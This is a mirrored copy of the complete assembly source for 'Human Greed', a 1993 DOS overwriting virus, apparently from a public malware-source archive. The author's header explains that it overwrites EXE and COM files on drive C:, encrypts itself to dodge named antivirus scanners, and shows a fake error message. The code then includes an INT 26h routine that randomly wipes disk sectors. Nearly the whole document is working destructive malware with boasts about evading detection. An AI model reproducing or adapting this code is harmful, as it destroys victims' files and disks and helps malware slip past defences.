mirror of
https://github.com/vxunderground/MalwareSourceCode
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234 lines
7.7 KiB
NASM
234 lines
7.7 KiB
NASM
; VirusName : Human Greed
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; Origin : Sweden
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; Author : The Unforgiven
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; Date : 20/12/93
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;
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; This is a "mutation" of the Infernal Demand virus, written by Metal
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; Militia. Even if it's high modified, its ground is still the same.
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; This is yet another of this simple overwriting virus, and it's
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; nothing really to scream hurray for. This virus will search for
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; exe or com files on drive C:, and then overwrite the first 666
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; bytes, and therefor permantely destroy the victims. It used the
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; "dot-dot" method for changing directory, and when all files are
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; infected (overwritten), it will return to the original directory.
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; The code is encrypted, thus making it hard to detect. Scan,
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; MSAV, CPAV, FindViru, F-prot and TBScan can't find a shit.
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; Yes, Tbscan used to find this as the "Infernal" virus, but he
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; with his 90% (nice try!) failed again!, how patetic!
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;
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; If a infected file is being run, it's 50% that it will display
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; this stupid "Program to big to fit in memory" message. Then
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; if the message is printed on the screen, it'll throw the dice
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; once more. If the number are 10 or lower, it'll simple wipe out
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; the first sectors by overwrite them on your C: drive. This means
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; that for each run, it's 5% that it'll "go-off".
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; The "message dump" to a file under c:\ has also been deleted.
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; And the new routines wich are included are, encryption,
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; get/and restore directory, the randomizer, print faker, and
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; of'cos the trash routine too. Hope you enjoy the code!
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;===============================================================================
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; **** HUMAN GREED ****
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;===============================================================================
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cseg segment byte public
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assume cs:cseg, ds:cseg
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org 100h
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virus_start:
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call encrypt_decrypt
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jmp encryption_start
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write_virus: ; write the virus to the
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call encrypt_decrypt ; files, by overwriting
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mov dx,100h ; its beginning
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mov ah,40h ;
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mov cx,666 ; How sadistical??
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int 21h ;
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call encrypt_decrypt ;
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ret
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encryption_value dw 0
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encrypt_decrypt:
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mov si,offset encryption_start
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mov dx,encryption_value
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mov cx,(end_of_virus-encryption_start+1)/2
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xor_loop:
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xor word ptr cs:[si],dx
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add si,2
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call fool_scan_for_TridenT_virus ; must call this meaningless
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loop xor_loop ; routine, otherwise, infected
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ret ; files will be reported by
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fool_scan_for_TridenT_virus: ; SCAN as the "TridenT" virus.
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ret
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; just return.
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encryption_start:
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; get current drive
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mov ah,19h ; get current drive
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int 21h ;
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push ax ;
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; move to c:
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mov ah,0Eh ;
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mov dl,02h ; drive C:
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int 21h
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; get directory.
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mov ah,47h
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xor dl,dl
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lea si,[bp+infernal+2ch]
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int 21h
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great:
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; find first files (starting .exe's).
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mov dx,offset ExeMask ; offset 'EXEMASK'
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mov ah,4Eh ; find first
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int 21h ; via int21
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jnc go_for_it ; jmp if no ERROR
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; if no exe's was found, just infect.COM files.
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mov dx,offset ComMask ; offset 'COMMASK'
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mov ah,4Eh ; find first file
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;
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again: ;
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int 21h ;
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jc chdir ;
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go_for_it:
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mov ax,4300h ; Get attribute of file
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mov dx,9eh ; Pointer to name in DTA
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int 21h ;
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push cx ; Push the attrib to stack
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mov ax,4301h ; Set attribute to
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xor cx,cx ; normal
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int 21h ;
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mov ax,3D02h ; Open file
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mov dx,9eh ; Pointer to name in DTA
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int 21h
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jc next ; if error, get next file
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xchg ax,bx ; Swap AX & BX
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; so the filehandle ends up
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; in BX
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mov ax,5700h ; Get file date
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int 21h ;
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push cx ; Save file dates
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push dx ;
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mov encryption_value,50 ; encryption_value.
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call write_virus ; write to file(s).
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pop dx ; Get the saved
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pop cx ; filedates from the stack
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mov ax,5701h ; Set them back to the file
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int 21h ;
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mov ah,3Eh ; Close the file
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int 21h ;
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pop cx ; Restore the attribs from
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; the stack.
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mov dx,9eh ; Pointer to name in DTA
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mov ax,4301h ; Set them attributes back
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int 21h ;
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next:
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mov ah,4Fh ; now get the next file
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jmp short again ; and do it all over again
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chdir:
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; change directory to [..] and start infect again.
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mov dx,offset dot_dot ; offset 'updir'
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mov ah,3bh ; change directory
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int 21h
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jnc great ; jmp to great if no ERROR
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exit:
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; Throw the dice..
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mov ah,2ch ;
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int 21h ;
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cmp dl,50
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ja real_quit ;
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jmp print
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; no, quitting time, yet..
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print:
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; first print message.
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mov ah,09h ; Print Fake message.
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mov dx,offset sign ;
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int 21h ;
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get_random:
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; Throw of a die..
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mov ah,2ch ; Randomize.
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int 21h ;
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cmp dl,10 ;
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ja real_quit ;
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jmp trash ; bad bad boy..
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trash:
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; Trash routine from Nowhere Man of [NuKE], thanks.
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cli ;
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mov ah,2 ; 2=C:
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cwd ;
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mov cx,0100h ;
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int 026h ;
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JMP REAL_QUIT
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real_quit:
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pop dx ;
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mov ah,0Eh ; restore org. drive
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int 21h ;
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; restore directory
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lea dx,[bp+infernal+2ch]
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mov ah,3bh
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int 21h
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; time to quit
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mov ah,4ch ; return to prompt
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int 21h ; via int21
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; some data.
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ExeMask db '*.EXE',0 ; tought one, huh?
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ComMask db '*.COM',0 ; what is this, hm
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dot_dot db '..',0 ; '..'
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Note db 'That is not dead '
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db 'Which can eternal lie '
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db 'Yet with strange aeons '
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db 'Even death may die '
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db 'LiVe AfteR DeATH...'
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db 'Do not waste your time '
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db 'Searching For '
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db 'those wasted years! '
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db '(c) 93/94 The Unforgiven/Immortal Riot '
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db 'Thanks to Raver and Metal Militia/IR '
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truenote db 'Maria K - Life is limited, love is forever... '
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db 'Open to reality, forever in love... '
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sign db 'Program too big to fit in memory$' ; fake message!
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sadistical db ' ***HUMAN GREED*** The answer of all evil on earth! '
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db 'Do You Belive? '
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db 'Farwell!....'
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end_of_virus:
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infernal:
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cseg ends
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end virus_start
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